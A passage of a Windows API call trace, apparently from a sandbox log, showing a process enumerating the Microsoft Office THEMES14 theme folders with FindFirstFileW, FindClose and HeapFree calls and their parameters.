out: hHeap=0x1c0000) returned 1 [0273.113] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8ef97db0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8ef97db0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.114] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.114] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.114] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8fc633f0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8fc633f0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.115] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.116] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.116] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8fc3d290, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8fc3d290, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.117] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.117] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.117] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8fc633f0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8fc633f0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.118] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.119] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.119] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x900ffe90, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x900ffe90, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.119] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.119] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.119] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.133] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.133] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.133] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.134] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.134] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.134] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.134] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.134] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.134] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.135] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.135] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.135] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.136] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.136] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.136] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.136] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.137] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.137] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.140] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.140] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.140] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.141] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.141] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.141] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.141] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.141] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.141] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.142] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.142] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.142] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.142] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.142] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.143] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.143] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.143] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.143] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.144] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.144] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.144] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.145] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.145] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.145] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.145] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.145] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.145] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.146] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.146] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.146] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.147] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.147] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.147] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.148] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.148] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.148] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.148] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.148] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.148] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.149] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.149] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.149] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.151] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.151] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.151] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.151] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.152] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.152] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.153] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.153] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.154] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.154] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.154] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.154] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.155] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.155] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.155] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.155] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.156] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.156] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.157] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.157] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.157] 